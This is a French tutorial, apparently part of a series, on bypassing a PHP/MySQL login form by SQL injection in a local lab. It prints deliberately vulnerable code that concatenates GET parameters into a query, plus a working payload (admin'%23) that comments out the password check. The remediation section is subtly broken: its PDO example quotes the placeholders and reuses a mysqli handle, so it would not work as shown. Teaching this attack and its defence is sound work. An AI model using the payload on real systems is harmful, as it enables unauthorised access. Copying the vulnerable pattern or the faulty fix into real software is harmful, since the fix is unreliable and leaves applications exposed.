Un grand classique que vous pourrez rencontrer sur tout bon site de challenge qui se respecte !
Il s'agit d'un formulaire de connexion, formulaire que voici (pas de commentaires sur le design s'il vous plaît ! ).
Vous pouvez le tester en entrant diverses données, erronées ou non – vous avez la liste des noms d'utilisateur et les mots de passe dans la base de données. Oui, je sais, les mots de passe sont en clair et ce n'est « pas bien » mais c'est pour l'exemple, il est clair qu'il vaut toujours mieux les chiffrer.
Nous allons, comme l'indique le titre, tenter de contourner ce formulaire d'authentification sans avoir besoin d'en connaître le nom d'utilisateur et/ou le mot de passe.
Avant toute chose voici le fichier PHP dont vous aurez besoin (que j'ai nommé connexion.php).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | <?php // code source de connexion.php $host = "localhost"; $user_mysql = "root"; // nom de l'utilisateur MySQL $password_mysql = ""; // mot de passe de l'utilisateur MySQL $database = "zds_injections_sql"; $db = mysqli_connect($host, $user_mysql, $password_mysql, $database); if(!$db) { echo "Echec de la connexion\n"; exit(); } mysqli_set_charset($db, "utf8"); ?> <!DOCTYPE> <html> <head> <title></title> <style> input { display: block; } </style> </head> <body> <h1>Connexion au site d'administration</h1> <?php if(!empty($_GET['username']) && !empty($_GET['password'])) { $username = $_GET['username']; $password = $_GET['password']; $query = "SELECT id, username FROM users WHERE username = '".$username."' AND password = '".$password."'"; $rs = mysqli_query($db, $query); if(mysqli_num_rows($rs) == 1) { $user = mysqli_fetch_assoc($rs); echo "Bienvenue ".htmlspecialchars($user['username']); } else { echo "Mauvais nom d'utilisateur et/ou mot de passe !"; } mysqli_free_result($rs); mysqli_close($db); } ?> <form action="connexion.php" method="GET"> <b>Nom d'utilisateur :</b> <input type="text" name="username"/> <b>Mot de passe :</b> <input type="text" name="password" /> <input type="submit" value="Connexion" /> </form> </body> </html> |
Contenu de connexion.php
Exploitation
Passons maintenant à la partie intéressante : l'exploitation !
Entrons des données au hasard.
http://localhost/zds/injections_sql/connexion.php?username=foo&password=bar
Ce qui donne la requête suivante.
1 | SELECT id, username FROM users WHERE username = 'foo' AND password = 'bar' |
Bon on s'y attendait un peu, si ça avait marché je pense que ç'aurait été le bon moment pour jouer au Loto vu notre chance !
Maintenant, nous allons supposer dans notre cas que nous connaissons le nom d'utilisateur mais pas le mot de passe.
Ré-entrons un mot de passe avec le bon nom d'utilisateur.
http://localhost/zds/injections_sql/connexion.php?username=admin&password=bar
1 | SELECT id, username FROM users WHERE username = 'admin' AND password = 'bar' |
Toujours rien.
Dans notre cas, on pourrait faire une injection pour trouver le bon mot de passe, mais nous allons faire mieux : se passer du mot de passe ! Oui, ça parait dingue, mais c'est tout à fait possible dans cet exemple.
Nous allons transformer la requête initiale pour non plus lui faire dire « il faut le bon nom d'utilisateur ET le bon mot de passe » mais simplement « il faut le bon nom d'utilisateur ».
Comment faire cela ? C'est tout simple : nous allons placer toute la partie concernant le mot de passe en… commentaire. Résultat : cette condition-là ne sera plus du tout prise en compte, seul le nom d'utilisateur le sera, et comme c'est le bon…
Dans le cas de MySQL, le caractère pour commenter une ligne est #
. C'est le moment de vérité : testons !
http://localhost/zds/injections_sql/connexion.php?username=admin'%23&password=test
Notre requête SQL va ressembler à cela.
1 | SELECT id, username FROM users WHERE username = 'admin'#' AND password = 'test' |
Ce qui correspond en fait à ceci (tout ce qui sera après le #
sera ignoré).
1 | SELECT id, username FROM users WHERE username = 'admin' |
Le #
a été encodé dans l'URL en %23 afin d'éviter que le navigateur ne le prenne comme une ancre.
BINGOOOOOOOO ! Nous voici connecté en tant qu'admin alors que nous ne connaissons toujours pas le mot de passe (et à vrai dire on s'en fiche… ).
Sécurisation
Notre coupable, ou plutôt nos coupables, ce sont ces 2 lignes :
1 2 3 4 | <?php $username = $_GET['username']; $password = $_GET['password']; ?> |
Je tiens à préciser que ce n'est pas la manière de récupérer les données qui est en cause, mais bien le fait qu'il n'y a aucune vérification ou traitement sur ces données.
J'utilise $_GET
par souci de facilité, mais le problème aurait été exactement le même si j'avais utilisé $_POST
, $_COOKIE
ou autre chose.
Si nous souhaitons sécuriser cela, il y a plusieurs façons de faire.
On peut utiliser l'échappement des chaînes de caractères.
1 2 3 4 5 | <?php // $db correspond à la connexion à la base de données (voir mysqli_connect) $username = mysqli_real_escape_string($db, $_GET['username']); $password = mysqli_real_escape_string($db, $_GET['password']); ?> |
mysqli_real_escape_string va ajouter un \
devant certains caractères comme par exemple '
ou "
. Cela aura pour conséquence de faire du caractère un caractère neutre. Ce qui veut dire que si le caractère avait un comportement spécial, ce qui est le cas des guillemets (ouverture/fermeture de chaîne de caractère), et bien, après échappement, il sera considéré comme simple caractère et son comportement « spécial » aura disparu. On pourra alors introduire tous les '
ou "
que l'on veut, aucun ne fermera la chaîne car tous seront « échappés ».
On peut aussi utiliser les requêtes préparées et les fonctionnalités qu'elles offrent.
1 2 3 4 5 6 | <?php $query = $db->prepare("SELECT id, username FROM users WHERE username = ':username' AND password = ':password'"); $query->bindParam(':username', $username, PDO::PARAM_STR); $query->bindParam(':password', $password, PDO::PARAM_STR); $query->execute(); ?> |
Le langage PHP possède, depuis la version 5.1, une extension définissant l'interface pour accéder à la base de données : PDO. C'est PDO qui s'occupera de traiter la donnée (selon le type indiqué : chaîne de caractères, entier…) afin de gérer l'échappement si nécessaire. Si aucun type n'est défini, PDO traite, par défaut, la donnée comme une chaîne de caractères (impliquant donc un échappement). C'est une des fonctionnalités de la préparation de requête.
Cet exemple, qui est un grand classique, montre bien qu'on peut détourner le comportement d'une application et qu'un mot de passe, même très compliqué, ne sert plus à grand chose si l'on est capable de s'en passer totalement.
Mais ça ne s'arrête pas là ! Dans la prochaine partie nous allons voir comment récupérer des données provenant de la base de données et auxquelles nous ne sommes, logiquement, pas autorisé à accéder.